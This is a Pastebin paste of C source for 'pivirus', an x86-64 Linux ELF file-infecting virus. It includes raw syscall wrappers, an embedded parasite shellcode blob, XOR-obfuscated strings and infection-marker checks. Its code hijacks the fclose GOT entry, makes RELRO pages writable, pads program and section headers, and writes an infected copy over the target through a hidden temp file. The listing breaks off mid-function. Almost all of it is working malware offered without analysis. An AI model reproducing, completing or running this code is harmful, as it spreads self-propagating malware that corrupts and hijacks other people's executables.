Advertisement
FlyFar

pivirus.c

Jul 7th, 2023
922
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 30.63 KB | Cybersecurity | 0 0
  1. #include <stdint.h>
  2. #include <unistd.h>
  3. #include <fcntl.h>
  4. #include <sys/mman.h>
  5. #include <sys/ptrace.h>
  6. #include <sys/stat.h>
  7. #include <sys/syscall.h>
  8. #include <error.h>
  9. #include <dirent.h>
  10. #include <elf.h>
  11.  
  12.  
  13. #define _4KB_PAGE           0x1000
  14. #define _4KB_OFFSET_MASK    0xfff
  15. #define PAGE_SIZE           _4KB_PAGE
  16. #define PAGE_OFFSET_MASK    _4KB_OFFSET_MASK
  17.  
  18. #define PAGE_ALIGN_LOW(vaddr)    ((vaddr) & ~PAGE_OFFSET_MASK)
  19. #define PAGE_ALIGN_HIGH(vaddr)   (PAGE_ALIGN_LOW(vaddr) + PAGE_SIZE)
  20. #define VADDR_OFFSET(vaddr)      ((vaddr) & PAGE_OFFSET_MASK)
  21.  
  22.  
  23. #define PI_MM_ALLOCATED     0x1
  24. #define PI_MM_FREE          0x0
  25. #define PI_MM_POOL_SZ       0x8000
  26. #define PI_POISON_PTR       0x0
  27.  
  28. #define STRING_EQUAL        0x0
  29. #define STRING_NOT_EQUAL    !STRING_EQUAL
  30.  
  31. #define MEM_EQUAL           0x0
  32. #define MEM_NOT_EQUAL       !MEM_EQUAL
  33.  
  34. #define DIRENTS_BUF_SIZE    0x8000
  35.  
  36.  
  37. #define PARASITE_ENTRY_SIZE 0x1b
  38. #define PARASITE_OFFSET_1   0x1f
  39. #define PARASITE_OFFSET_2   0x26
  40. #define PARASITE_OFFSET_3   0x2b
  41. #define PARASITE_OFFSET_4   0x50
  42. #define PARASITE_OFFSET_5   0x54
  43. #define PARASITE_LEN        0x60
  44.  
  45. #define PI_XOR_KEY          0x78
  46.  
  47. #define PI_OPERATION_SUCCESS  0
  48. #define PI_OPERATION_ERROR   -1
  49.  
  50. #define PI_SIGNATURE 0x10
  51.  
  52. #define inline_function __attribute__((always_inline)) inline
  53.  
  54.  
  55. #define pi_check_syscall_fault(x)  \
  56.     if ((int64_t)x < 0)            \
  57.         return PI_OPERATION_ERROR  \
  58.  
  59. /*
  60.  * macro functions to avoid code repeating
  61. */
  62. #define pi_define_syscall_1(syscall_name,syscall_num,type1,arg1)  \
  63.     int64_t pi_##syscall_name(type1 arg1)                         \
  64.     {                                                             \
  65.         int64_t __ret;                                            \
  66.                                                                   \
  67.         __asm__ volatile                                          \
  68.             (                                                     \
  69.              "movq  %0,%%rdi                    \n"               \
  70.              "movq  $"#syscall_num",%%rax       \n"               \
  71.              "syscall                           \n"               \
  72.              :                                                    \
  73.              : "g" (arg1)                                         \
  74.             );                                                    \
  75.                                                                   \
  76.         __asm__                                                   \
  77.             (                                                     \
  78.              "movq  %%rax,%0"                                     \
  79.              : "=g" (__ret)                                       \
  80.             );                                                    \
  81.                                                                   \
  82.         return __ret;                                             \
  83.     }
  84.  
  85. #define pi_define_syscall_2(syscall_name,syscall_num,type1,arg1,type2,arg2) \
  86.     int64_t pi_##syscall_name(type1 arg1,type2 arg2)                        \
  87.     {                                                                       \
  88.         int64_t __ret;                                                      \
  89.                                                                             \
  90.         __asm__ volatile                                                    \
  91.             (                                                               \
  92.              "movq  %0,%%rdi                    \n"                         \
  93.              "movq  %1,%%rsi                    \n"                         \
  94.              "movq  $"#syscall_num",%%rax       \n"                         \
  95.              "syscall"                                                      \
  96.              :                                                              \
  97.              : "g" (arg1), "g" (arg2)                                       \
  98.             );                                                              \
  99.                                                                             \
  100.         __asm__                                                             \
  101.             (                                                               \
  102.              "movq  %%rax,%0"                                               \
  103.              : "=g" (__ret)                                                 \
  104.             );                                                              \
  105.                                                                             \
  106.         return __ret;                                                       \
  107.     }
  108.  
  109. #define pi_define_syscall_3(syscall_name,syscall_num,type1,arg1,type2,arg2,type3,arg3)  \
  110.     int64_t pi_##syscall_name(type1 arg1,type2 arg2,type3 arg3)                         \
  111.     {                                                                                   \
  112.         int64_t __ret;                                                                  \
  113.                                                                                         \
  114.         __asm__ volatile                                                                \
  115.             (                                                                           \
  116.              "movq  %0,%%rdi                    \n"                                     \
  117.              "movq  %1,%%rsi                    \n"                                     \
  118.              "movq  %2,%%rdx                    \n"                                     \
  119.              "movq  $"#syscall_num",%%rax       \n"                                     \
  120.              "syscall"                                                                  \
  121.              :                                                                          \
  122.              : "g" (arg1), "g" (arg2), "g" (arg3)                                       \
  123.             );                                                                          \
  124.                                                                                         \
  125.         __asm__                                                                         \
  126.             (                                                                           \
  127.              "movq  %%rax,%0"                                                           \
  128.              : "=g" (__ret)                                                             \
  129.             );                                                                          \
  130.                                                                                         \
  131.         return __ret;                                                                   \
  132.     }
  133.  
  134.  
  135.  
  136. char fclose_xor_encoded[] = "\x1e\x1b\x14\x17\x0b\x1d";
  137.  
  138.  
  139. char parasite[] =
  140.     "\x50\x53\x57\x56\x52\x51\x55"
  141.     "\x48\x31\xc0"
  142.     "\x48\x31\xdb"
  143.     "\x48\x31\xd2"
  144.     "\x48\x31\xc9"
  145.     "\x48\x31\xed"
  146.     "\xe8\x41\x00\x00\x00"
  147.     "\x5f"
  148.     "\x48\x81\xef\x41\x41\x41\x41"
  149.     "\x48\x81\xc7\x43\x43\x43\x43"
  150.     "\xbe\x42\x42\x42\x42"
  151.     "\xba\x01\x00\x00\x00"
  152.     "\x48\x83\xca\x02"
  153.     "\x48\x83\xca\x04"
  154.     "\xb8\x0a\x00\x00\x00"
  155.     "\x0f\x05"
  156.     "\xe8\x16\x00\x00\x00"
  157.     "\x58"
  158.     "\x48\x83\xc0\x18"
  159.     "\x48\x89\x05\x0c\x00\x00\x00"
  160.     "\x5d\x59\x5a\x5e\x5f\x5b\x58\xc3"
  161.     "\xeb\xbd"
  162.     "\xeb\xe8";
  163.  
  164.  
  165. typedef struct start_args
  166. {
  167. #define DUMMY_SIZE 8 //force arguments to be on stack
  168.     char *argv[DUMMY_SIZE];
  169. }start_args_t;
  170.  
  171. typedef struct malloc_header
  172. {
  173.     uint32_t stat;
  174.     uint32_t size;
  175.     struct malloc_header *next;
  176. }malloc_header_t;
  177.  
  178.  
  179. typedef struct mman
  180. {
  181.     uint8_t *mm_pool_start;
  182.     uint8_t *mm_pool_end;
  183.     uint8_t *mm_cur_brk;
  184.     malloc_header_t *malloc_head;
  185. }mman_t;
  186.  
  187. typedef struct linux_dirent64
  188. {
  189.     uint64_t d_ino;
  190.     uint64_t d_off;
  191.     uint16_t d_reclen;
  192.     uint8_t  d_type;
  193.     char     d_name[];
  194. }linux_dirent64_t;
  195.  
  196. typedef struct targetfunc
  197. {
  198.     uint64_t func_got;
  199.     uint64_t func_name_len;
  200.     uint8_t  *func_name;
  201. }targetfunc_t;
  202.  
  203. typedef struct hostilefunc
  204. {
  205.     uint64_t hostile_addr;
  206.     uint64_t hostile_len;
  207. }hostilefunc_t;
  208.  
  209.  
  210. typedef struct elfstructs
  211. {
  212.     Elf64_Ehdr      *ehdr;
  213.     Elf64_Phdr      *phdr;
  214.     Elf64_Phdr      *textphdr;
  215.     Elf64_Shdr      *shdr;
  216.     Elf64_Sym       *dyn_symtab;
  217.     Elf64_Dyn       *dynseg;
  218.     Elf64_Rela      *rela;
  219.     Elf64_Addr      *pltgot;
  220.     Elf64_Rela      *pltrela;
  221.     Elf64_Xword     relasz;
  222.     Elf64_Xword     pltrelsz;
  223.     Elf64_Addr      *initarray;
  224.     Elf64_Addr      gnureloc_start;
  225.     Elf64_Xword     gnureloc_sz;
  226.     uint8_t         *dyn_strtab;
  227. }elfstructs_t;
  228.  
  229.  
  230. typedef struct loadsegments
  231. {
  232.     Elf64_Addr      code_vaddr;
  233.     Elf64_Addr      data_vaddr;
  234.     Elf64_Off       code_offset;
  235.     Elf64_Off       data_offset;
  236.     Elf64_Xword     code_size;
  237.     Elf64_Xword     data_size;
  238. }loadsegments_t;
  239.  
  240.  
  241. typedef struct elf_flags
  242. {
  243.     uint64_t    bind_now;
  244. }elf_flags_t;
  245.  
  246.  
  247. typedef struct target_elf
  248. {
  249.     const char      *name;
  250.     uint8_t         *mmap;
  251.     int64_t         fd;
  252.     uint64_t        filehole;
  253.     elfstructs_t    elfstructs;
  254.     loadsegments_t  loadsegments;
  255.     hostilefunc_t   hostilefunc;
  256.     targetfunc_t    targetfunc;
  257.     elf_flags_t     elf_flags;
  258.     struct stat     stat;
  259. }target_elf_t;
  260.  
  261.  
  262.  
  263. target_elf_t *target_elf;
  264. mman_t mman;
  265.  
  266.  
  267.  
  268. extern uint64_t pi_hostile_fclose(void);
  269. extern uint64_t pi_get_hostile_len(void);
  270.  
  271.  
  272. pi_define_syscall_1(close,3,int64_t,fd)
  273.  
  274. pi_define_syscall_1(chdir,80,const char *,path)
  275.  
  276. pi_define_syscall_1(exit,60,uint64_t,exit_stat);
  277.  
  278. pi_define_syscall_2(fstat,5,int64_t,fd,struct stat *,stat_struct)
  279.  
  280. pi_define_syscall_2(rename,82,const char *,old_name,const char *,new_name)
  281.    
  282. pi_define_syscall_2(chmod,90,const char *,filename,int64_t,mode)
  283.  
  284. pi_define_syscall_2(munmap,11,uint64_t,addr,uint64_t,size);
  285.  
  286. pi_define_syscall_3(open,2,const char *,path,int64_t,flags,int64_t,mode)
  287.  
  288. pi_define_syscall_3(read,0,int64_t,fd,void *,buf,uint64_t,count)
  289.  
  290. pi_define_syscall_3(write,1,int64_t,fd,const char *,buf,uint64_t,count)
  291.  
  292. pi_define_syscall_3(mprotect,10,void *,addr,uint64_t,len,int64_t,prot)
  293.  
  294. pi_define_syscall_3(getdents64,217,int64_t,fd,char *,buf,uint64_t,buf_sz)
  295.  
  296. pi_define_syscall_3(lseek,8,int64_t,fd,int64_t,offset,int64_t,whence)
  297.  
  298.  
  299. void *pi_mmap(void *addr,uint64_t len,int64_t prot,int64_t flags,int64_t fd,int64_t offset)
  300. {
  301.     uint64_t __ret;
  302.  
  303.     __asm__ volatile
  304.         (
  305.          "movq $9,%%rax             \n"
  306.          "movq %0,%%rdi             \n"
  307.          "movq %1,%%rsi             \n"
  308.          "movq %2,%%rdx             \n"
  309.          "movq %3,%%r10             \n"
  310.          "movq %4,%%r8              \n"
  311.          "movq %5,%%r9              \n"
  312.          "syscall"
  313.          :
  314.          : "g" (addr), "g" (len), "g" (prot), "g" (flags), "g" (fd), "g" (offset)
  315.         );
  316.  
  317.     __asm__
  318.         (
  319.          "movq  %%rax,%0"
  320.          : "=g" (__ret)
  321.         );
  322.  
  323.     return (void *)(__ret);
  324.  
  325. }
  326.  
  327.  
  328.  
  329.  
  330. inline_function void pi_strcpy(char *dest,const char *src)
  331. {
  332.     while (*src) *dest++ = *src++;
  333.     *dest = *src;
  334. }
  335.  
  336.  
  337. inline_function uint64_t pi_strlen(const char *str)
  338. {
  339.     uint64_t len = 0;
  340.    
  341.     while (*str++) ++len;
  342.    
  343.     return len;
  344. }
  345.  
  346. inline_function void pi_memcpy(void *dest,void *src,uint64_t len)
  347. {
  348.     while(len--) *((uint8_t *)dest++) = *((uint8_t *)src++);
  349. }
  350.  
  351. inline_function int64_t pi_memcmp(void *mem1,void *mem2,uint64_t len)
  352. {
  353.     while (len--)
  354.     {
  355.         if (*((uint8_t *)mem1++) != *((uint8_t *)mem2++))
  356.             return MEM_NOT_EQUAL;
  357.     }
  358.  
  359.     return MEM_EQUAL;
  360. }
  361.  
  362. inline_function void pi_memset(void *mem,uint8_t val,uint64_t len)
  363. {
  364.     while (len--) *((uint8_t *)mem++) = val;
  365. }
  366.  
  367. void pi_puts(const char *str)
  368. {
  369.     pi_write(STDOUT_FILENO,str,pi_strlen(str));
  370. }
  371.  
  372. /*
  373.  * gets a memory pool that will be used by pi_malloc
  374. */
  375. int64_t pi_mm_getpool(void)
  376. {
  377.     mman.mm_pool_start = pi_mmap(NULL,PI_MM_POOL_SZ,PROT_WRITE | PROT_READ,MAP_ANONYMOUS | MAP_PRIVATE,-1,0);
  378.     pi_check_syscall_fault(mman.mm_pool_start);
  379.  
  380.     mman.mm_pool_end = mman.mm_pool_start + PI_MM_POOL_SZ;
  381.  
  382.     mman.mm_cur_brk = mman.mm_pool_start;
  383.  
  384.     return PI_OPERATION_SUCCESS;
  385. }
  386.  
  387. void *pi_sbrk(uint32_t size)
  388. {
  389.     void *tmp;
  390.  
  391.     tmp = (void *)mman.mm_cur_brk;
  392.  
  393.     mman.mm_cur_brk += size;
  394.  
  395.     if (mman.mm_cur_brk > mman.mm_pool_end)
  396.         return NULL;
  397.    
  398.     return tmp;
  399. }
  400.  
  401. void *pi_malloc(uint32_t size)
  402. {
  403.     malloc_header_t *tmp1, *tmp2, *tmp3, *tmp4;
  404.  
  405.     if (!mman.malloc_head)
  406.     {
  407.         mman.malloc_head = pi_sbrk(size + sizeof(malloc_header_t));
  408.  
  409.         if (mman.malloc_head == PI_POISON_PTR)
  410.             return (void *)PI_POISON_PTR;
  411.  
  412.         mman.malloc_head->stat = PI_MM_ALLOCATED;
  413.         mman.malloc_head->size = size;
  414.         mman.malloc_head->next = PI_POISON_PTR;
  415.  
  416.  
  417.         return (void *)(mman.malloc_head + 1);
  418.     }
  419.  
  420.     //search for free block with bsize >= size
  421.     tmp1 = mman.malloc_head;
  422.     while (tmp1)
  423.     {
  424.         if ((tmp1->stat == PI_MM_FREE) && (tmp1->size >= size))
  425.         {
  426.             if (tmp1->size > size)
  427.             {
  428.                 //divide the block
  429.                 tmp3       = (malloc_header_t *)( (uint8_t *)( tmp1 + 1) + size );
  430.                 tmp3->stat = PI_MM_ALLOCATED;
  431.                 tmp3->size = tmp1->size - size;
  432.                 tmp3->next = tmp1->next;
  433.                 tmp1->next = tmp3;
  434.                 goto __ret;
  435.             }
  436.             tmp1->stat = PI_MM_ALLOCATED;
  437. __ret:
  438.             return (void *)(tmp1 + 1);
  439.         }
  440.         tmp4 = tmp1;
  441.         tmp1 = tmp1->next;
  442.     }
  443.  
  444.     tmp2 = pi_sbrk(size + sizeof(malloc_header_t));
  445.  
  446.     if (tmp2 == PI_POISON_PTR)
  447.         return (void *)PI_POISON_PTR;
  448.  
  449.     tmp2->size = size;
  450.     tmp2->stat = PI_MM_ALLOCATED;
  451.     tmp2->next = PI_POISON_PTR;
  452.  
  453.     tmp4->next = tmp2;
  454.  
  455.     pi_memset(tmp2 + 1,0x0,tmp2->size);
  456.  
  457.     return (void *)(tmp2 + 1);
  458. }
  459.  
  460. /*
  461.  * a simple free that just frees the block at the given address
  462.  * there is no adjacent free blocks coalescing
  463. */
  464. void pi_free(void *ptr)
  465. {
  466.     malloc_header_t *tmp1;
  467.  
  468.     tmp1 = (malloc_header_t *)ptr - 1;
  469.     tmp1->stat = PI_MM_FREE;
  470.  
  471.     pi_memset(tmp1 + 1,0x0,tmp1->size);
  472. }
  473.  
  474.  
  475. inline_function void pi_xor_mem(void *mem,uint64_t len,uint8_t xor_key)
  476. {
  477.     while (len--) *((uint8_t *)mem++) ^= xor_key;
  478. }
  479.  
  480.  
  481.  
  482. int64_t pi_check_target(void)
  483. {
  484.     Elf64_Ehdr *ehdr;
  485.     Elf64_Phdr *phdr;
  486.     char elfmag[] = ELFMAG;
  487.     uint64_t dyn_linked = 0;
  488.  
  489.  
  490.     target_elf->fd = pi_open(target_elf->name,O_RDWR,0);
  491.     pi_check_syscall_fault(target_elf->fd);
  492.  
  493.     pi_check_syscall_fault(pi_fstat(target_elf->fd,&target_elf->stat));
  494.  
  495.     target_elf->mmap = pi_mmap(NULL,
  496.                                target_elf->stat.st_size,
  497.                                PROT_READ | PROT_WRITE,
  498.                                MAP_SHARED,
  499.                                target_elf->fd,
  500.                                0);
  501.     pi_check_syscall_fault(target_elf->mmap);
  502.  
  503.     ehdr = (Elf64_Ehdr *)target_elf->mmap;
  504.     phdr = (Elf64_Phdr *)(target_elf->mmap + ehdr->e_phoff);
  505.  
  506.     if (pi_memcmp(target_elf->mmap,elfmag,SELFMAG) == MEM_NOT_EQUAL)
  507.         return PI_OPERATION_ERROR;
  508.    
  509.     //binary is infected before ?
  510.     if (ehdr->e_ident[EI_OSABI] == PI_SIGNATURE)
  511.         return PI_OPERATION_ERROR;
  512.    
  513.     if (!((ehdr->e_type == ET_EXEC) || (ehdr->e_type == ET_DYN)))
  514.         return PI_OPERATION_ERROR;
  515.    
  516.     for (uint64_t i = 0; i < ehdr->e_phnum; ++i,++phdr)
  517.     {
  518.         if (phdr->p_type != PT_DYNAMIC)
  519.             continue;
  520.         dyn_linked = 1;
  521.     }
  522.  
  523.     if (!dyn_linked)
  524.         return PI_OPERATION_ERROR;
  525.    
  526.     return PI_OPERATION_SUCCESS;
  527. }
  528.  
  529.  
  530. void pi_do_init(void)
  531. {
  532.     Elf64_Phdr  *tmp_phdr;
  533.     Elf64_Shdr  *tmp_shdr;
  534.     Elf64_Dyn   *tmp_dynseg;
  535.     Elf64_Sym   *tmp_dynsym;
  536.     Elf64_Addr  target_code_vaddr, target_data_vaddr;
  537.     Elf64_Off   target_code_offset, target_data_offset;
  538.  
  539.     target_elf->elfstructs.ehdr = (Elf64_Ehdr *)target_elf->mmap;
  540.     target_elf->elfstructs.phdr = (Elf64_Phdr *)(target_elf->mmap + target_elf->elfstructs.ehdr->e_phoff);
  541.     target_elf->elfstructs.shdr = (Elf64_Shdr *)(target_elf->mmap + target_elf->elfstructs.ehdr->e_shoff);
  542.  
  543.  
  544.     tmp_phdr = target_elf->elfstructs.phdr;
  545.     for (Elf64_Half i = 0; i < target_elf->elfstructs.ehdr->e_phnum; ++i, ++tmp_phdr)
  546.     {
  547.         switch (tmp_phdr->p_type)
  548.         {
  549.             case PT_LOAD:
  550.                 if (tmp_phdr->p_flags & PF_X)
  551.                 {
  552.                     target_elf->loadsegments.code_vaddr   = tmp_phdr->p_vaddr;
  553.                     target_elf->loadsegments.code_offset  = tmp_phdr->p_offset;
  554.                     target_elf->loadsegments.code_size    = tmp_phdr->p_memsz;
  555.                     target_elf->elfstructs.textphdr       = tmp_phdr;
  556.                
  557.                     target_code_vaddr  = target_elf->loadsegments.code_vaddr;
  558.                     target_code_offset = target_elf->loadsegments.code_offset;
  559.                
  560.                 }
  561.                 target_elf->loadsegments.data_vaddr  = tmp_phdr->p_vaddr;
  562.                 target_elf->loadsegments.data_offset = tmp_phdr->p_offset;
  563.  
  564.                 target_data_vaddr  = target_elf->loadsegments.data_vaddr;
  565.                 target_data_offset = target_elf->loadsegments.data_offset;
  566.                 break;
  567.  
  568.             case PT_DYNAMIC:
  569.                 target_elf->elfstructs.dynseg = (Elf64_Dyn *)(target_elf->mmap + tmp_phdr->p_offset);
  570.                 break;
  571.            
  572.             case PT_GNU_RELRO:
  573.                 target_elf->elfstructs.gnureloc_sz    = tmp_phdr->p_memsz;
  574.                 target_elf->elfstructs.gnureloc_start = tmp_phdr->p_vaddr - target_elf->elfstructs.textphdr->p_vaddr;
  575.                 break;
  576.         }
  577.     }
  578.  
  579.     tmp_dynseg = target_elf->elfstructs.dynseg;
  580.     for (; tmp_dynseg->d_tag != DT_NULL; ++tmp_dynseg)
  581.     {
  582.         switch (tmp_dynseg->d_tag)
  583.         {
  584.             case DT_SYMTAB:
  585.                 target_elf->elfstructs.dyn_symtab = (Elf64_Sym *)(target_elf->mmap + target_code_offset +
  586.                                                                      (tmp_dynseg->d_un.d_ptr - target_code_vaddr));
  587.                 break;
  588.  
  589.             case DT_STRTAB:
  590.                 target_elf->elfstructs.dyn_strtab = target_elf->mmap + target_code_offset +
  591.                                                                     (tmp_dynseg->d_un.d_ptr - target_code_vaddr);
  592.                 break;
  593.  
  594.             case DT_JMPREL:
  595.                 target_elf->elfstructs.pltrela = (Elf64_Rela *)(target_elf->mmap + target_code_offset +
  596.                                                                     (tmp_dynseg->d_un.d_ptr - target_code_vaddr));
  597.                 break;
  598.  
  599.             case DT_PLTGOT:
  600.                 target_elf->elfstructs.pltgot = (Elf64_Addr *)(target_elf->mmap + target_data_offset +
  601.                                                                     (tmp_dynseg->d_un.d_ptr - target_data_vaddr));
  602.             case DT_RELA:
  603.                 target_elf->elfstructs.rela = (Elf64_Rela *)(target_elf->mmap + target_code_offset +
  604.                                                                     (tmp_dynseg->d_un.d_ptr - target_code_vaddr));
  605.                 break;
  606.  
  607.             case DT_RELASZ:
  608.                 target_elf->elfstructs.relasz = tmp_dynseg->d_un.d_val;
  609.                 break;
  610.  
  611.             case DT_PLTRELSZ:
  612.                 target_elf->elfstructs.pltrelsz = tmp_dynseg->d_un.d_val;
  613.                 break;
  614.  
  615.             case DT_FLAGS_1:
  616.                 if (tmp_dynseg->d_un.d_val & DF_1_NOW)
  617.                     ++target_elf->elf_flags.bind_now;
  618.                 break;
  619.  
  620.             case DT_INIT_ARRAY:
  621.                 target_elf->elfstructs.initarray = (Elf64_Addr *)(target_elf->mmap + (tmp_dynseg->d_un.d_ptr -
  622.                                                                                            target_data_vaddr + target_data_offset));
  623.                 break;
  624.         }
  625.     }
  626.  
  627.     target_elf->hostilefunc.hostile_addr = (uint64_t)pi_hostile_fclose;
  628.     target_elf->hostilefunc.hostile_len  = pi_get_hostile_len();
  629.  
  630. }
  631.  
  632.  
  633. int32_t pi_symbol_lookup(void)
  634. {
  635.     char *dynstrtab;
  636.     char *sym_name;
  637.     Elf64_Rela  *rel;
  638.     Elf64_Xword relsz;
  639.     Elf64_Sym   *dynsymtab;
  640.        
  641.  
  642.     if (target_elf->elf_flags.bind_now && !target_elf->elfstructs.pltrela)
  643.     {
  644.         rel     = target_elf->elfstructs.rela;
  645.         relsz   = target_elf->elfstructs.relasz;
  646.  
  647.     }else
  648.     {
  649.         rel     = target_elf->elfstructs.pltrela;
  650.         relsz   = target_elf->elfstructs.pltrelsz;
  651.     }
  652.  
  653.  
  654.     dynsymtab = target_elf->elfstructs.dyn_symtab;
  655.     dynstrtab = target_elf->elfstructs.dyn_strtab;
  656.  
  657.     target_elf->targetfunc.func_name_len = pi_strlen(fclose_xor_encoded);
  658.     target_elf->targetfunc.func_name     = pi_malloc(target_elf->targetfunc.func_name_len);
  659.  
  660.     pi_memcpy(target_elf->targetfunc.func_name,
  661.               fclose_xor_encoded,
  662.               target_elf->targetfunc.func_name_len);
  663.  
  664.     pi_xor_mem(target_elf->targetfunc.func_name,
  665.                target_elf->targetfunc.func_name_len,
  666.                PI_XOR_KEY);
  667.  
  668.    
  669.     for (Elf64_Xword i = 0; i < (relsz / sizeof(Elf64_Rela)); ++i, ++rel)
  670.     {
  671.         sym_name = &dynstrtab[dynsymtab[ELF64_R_SYM(rel->r_info)].st_name];
  672.         if (pi_memcmp(sym_name,target_elf->targetfunc.func_name,target_elf->targetfunc.func_name_len) == MEM_EQUAL)
  673.                 target_elf->targetfunc.func_got = (Elf64_Addr)rel->r_offset;
  674.     }
  675.  
  676.     pi_free(target_elf->targetfunc.func_name);
  677.  
  678.     if (!target_elf->targetfunc.func_got)
  679.         return PI_OPERATION_ERROR;
  680.  
  681.     return PI_OPERATION_SUCCESS;
  682. }
  683.  
  684.  
  685.  
  686. /*
  687.  * flcose's GOT entry hijacking is done @ runtime with the following algorithm:
  688.  *      - let r be any register
  689.  *      - (r) holds hostile function address
  690.  *      - [ fclose_got_entry_offset + rip ]  <- r , let this instruction's address be #modify_got
  691.  *      - [ addr ] is the address of the next instruction that modifies the GOT entry (the next to [#modify_got])
  692.  *      - [ diff ] is the offset between the target GOT entry and [ addr ]
  693.  *
  694.  *      - so it will be like this
  695.  *         - mov $address_of_hostile, diff(%rip)
  696.  *
  697.  * the parasite takes care of ELF binaries that have the BIND_NOW flag so the entry of the parasite
  698.  * mprotects the GNU_RELRO PAGES to be writeable  
  699. */
  700.  
  701. void pi_edit_parasite(void)
  702. {
  703.     uint64_t diff, addr, var1, var2, var3;
  704.  
  705.     var1 = target_elf->loadsegments.code_size + PARASITE_ENTRY_SIZE;
  706.  
  707.     var2 = PAGE_ALIGN_LOW(target_elf->elfstructs.gnureloc_start);
  708.  
  709.     var3 = target_elf->elfstructs.gnureloc_sz;
  710.  
  711.     addr = target_elf->loadsegments.code_vaddr +
  712.                         target_elf->loadsegments.code_size +
  713.                                                     PARASITE_OFFSET_5;
  714.  
  715.     diff = target_elf->targetfunc.func_got - addr;
  716.  
  717.     *((uint32_t *)&parasite[PARASITE_OFFSET_1]) = (uint32_t)var1;
  718.     *((uint32_t *)&parasite[PARASITE_OFFSET_2]) = (uint32_t)var2;
  719.     *((uint32_t *)&parasite[PARASITE_OFFSET_3]) = (uint32_t)var3;
  720.     *((uint32_t *)&parasite[PARASITE_OFFSET_4]) = (uint32_t)diff;
  721. }
  722.  
  723. int64_t pi_create_infected_clone(void)
  724. {
  725.     char     tmpfile[] = "/tmp/.tmp.PI314X_OC";
  726.     char     buf[PAGE_SIZE];
  727.     int64_t  tmpfile_fd, syscall_ret;
  728.     int64_t  infected_clone_mode, tmpfile_mode;
  729.     uint64_t buf1_sz, buf2_sz, buf3_sz;
  730.    
  731.     //mark binary as infected
  732.     target_elf->elfstructs.ehdr->e_ident[EI_OSABI] = PI_SIGNATURE;
  733.  
  734.     tmpfile_mode        = S_IRUSR | S_IWUSR;
  735.     infected_clone_mode = tmpfile_mode | S_IXUSR;
  736.    
  737.     tmpfile_fd = pi_open(tmpfile,O_CREAT | O_RDWR,tmpfile_mode);
  738.     pi_check_syscall_fault(tmpfile_fd);
  739.  
  740.     buf1_sz = target_elf->loadsegments.code_offset +
  741.                         target_elf->loadsegments.code_size +
  742.                                 target_elf->filehole;
  743.    
  744.     buf2_sz = ( PARASITE_LEN + target_elf->hostilefunc.hostile_len ) > target_elf->filehole ? PAGE_SIZE : 0;
  745.    
  746.     buf3_sz = target_elf->stat.st_size - buf1_sz;
  747.  
  748.     syscall_ret = pi_write(tmpfile_fd,target_elf->mmap,buf1_sz);
  749.     pi_check_syscall_fault(syscall_ret);
  750.  
  751.     syscall_ret = pi_write(tmpfile_fd,buf,buf2_sz);
  752.     pi_check_syscall_fault(syscall_ret);
  753.  
  754.     syscall_ret = pi_write(tmpfile_fd,target_elf->mmap + buf1_sz,buf3_sz);
  755.     pi_check_syscall_fault(syscall_ret);
  756.  
  757.     syscall_ret = pi_lseek(tmpfile_fd,
  758.                            target_elf->loadsegments.code_offset +
  759.                            target_elf->loadsegments.code_size,
  760.                            SEEK_SET);
  761.     pi_check_syscall_fault(syscall_ret);
  762.  
  763.     syscall_ret = pi_write(tmpfile_fd,parasite,PARASITE_LEN);
  764.     pi_check_syscall_fault(syscall_ret);
  765.  
  766.     syscall_ret = pi_write(tmpfile_fd,
  767.                           (const char *)target_elf->hostilefunc.hostile_addr,
  768.                           target_elf->hostilefunc.hostile_len);
  769.     pi_check_syscall_fault(syscall_ret);
  770.  
  771.     syscall_ret = pi_close(tmpfile_fd);
  772.     pi_check_syscall_fault(syscall_ret);
  773.  
  774.     syscall_ret = pi_chmod(tmpfile,infected_clone_mode);
  775.     pi_check_syscall_fault(syscall_ret);
  776.  
  777.     syscall_ret = pi_rename(tmpfile,target_elf->name);
  778.     pi_check_syscall_fault(syscall_ret);
  779.  
  780.     return PI_OPERATION_SUCCESS;
  781. }
  782.  
  783. void pi_infect_target(void)
  784. {
  785.     Elf64_Phdr  *elfphdr;
  786.     Elf64_Shdr  *elfshdr;
  787.     Elf64_Rela  *elfrela;
  788.     Elf64_Addr  target_code_vaddr, target_data_vaddr;
  789.     Elf64_Off   target_code_offset, target_data_offset;
  790.     Elf64_Xword target_code_size, target_data_size;
  791.     uint64_t    flag, parasite_len, off, addr;
  792.     uint8_t old_osabi;
  793.  
  794.     if (pi_check_target() == PI_OPERATION_ERROR)
  795.         goto target_cleanup;
  796.  
  797.     pi_do_init();
  798.  
  799.     if (pi_symbol_lookup() == PI_OPERATION_ERROR)
  800.         goto target_cleanup;
  801.  
  802.  
  803.     elfphdr = target_elf->elfstructs.phdr;
  804.     elfshdr = target_elf->elfstructs.shdr;
  805.     elfrela = target_elf->elfstructs.rela;
  806.  
  807.     target_code_vaddr  = target_elf->loadsegments.code_vaddr;
  808.     target_data_vaddr  = target_elf->loadsegments.data_vaddr;
  809.  
  810.     target_code_offset = target_elf->loadsegments.code_offset;
  811.     target_data_offset = target_elf->loadsegments.data_offset;
  812.  
  813.     target_code_size   = target_elf->loadsegments.code_size;
  814.     target_data_size   = target_elf->loadsegments.data_size;
  815.  
  816.     flag         = 1;
  817.     parasite_len = PARASITE_LEN;
  818.  
  819.     if ((parasite_len  + target_elf->hostilefunc.hostile_len) >
  820.              (PAGE_SIZE - VADDR_OFFSET(target_code_vaddr + target_code_size)))
  821.         return;
  822.  
  823.  
  824.     for (Elf64_Half i = 0; i < target_elf->elfstructs.ehdr->e_phnum; ++i, ++elfphdr)
  825.     {
  826.         if (elfphdr->p_offset > (target_code_offset + target_code_size))
  827.         {
  828.             if (flag)
  829.             {
  830.                 target_elf->filehole = elfphdr->p_offset - (target_code_offset + target_code_size);
  831.                 --flag;
  832.             }
  833.             if ((parasite_len + target_elf->hostilefunc.hostile_len) > target_elf->filehole)
  834.                 elfphdr->p_offset += PAGE_SIZE;
  835.         }
  836.     }
  837.    
  838.     if (target_elf->elfstructs.shdr)
  839.     {
  840.         for (Elf64_Half i = 0; i < target_elf->elfstructs.ehdr->e_shnum; ++i, ++elfshdr)
  841.         {
  842.             if ((elfshdr->sh_offset + elfshdr->sh_size) == (target_code_offset + target_code_size))
  843.                 elfshdr->sh_size += parasite_len;
  844.  
  845.             if (elfshdr->sh_offset > (target_code_offset + target_code_size))
  846.             {
  847.                 if ((parasite_len + target_elf->hostilefunc.hostile_len) > target_elf->filehole)
  848.                     elfshdr->sh_offset += PAGE_SIZE;
  849.             }
  850.         }
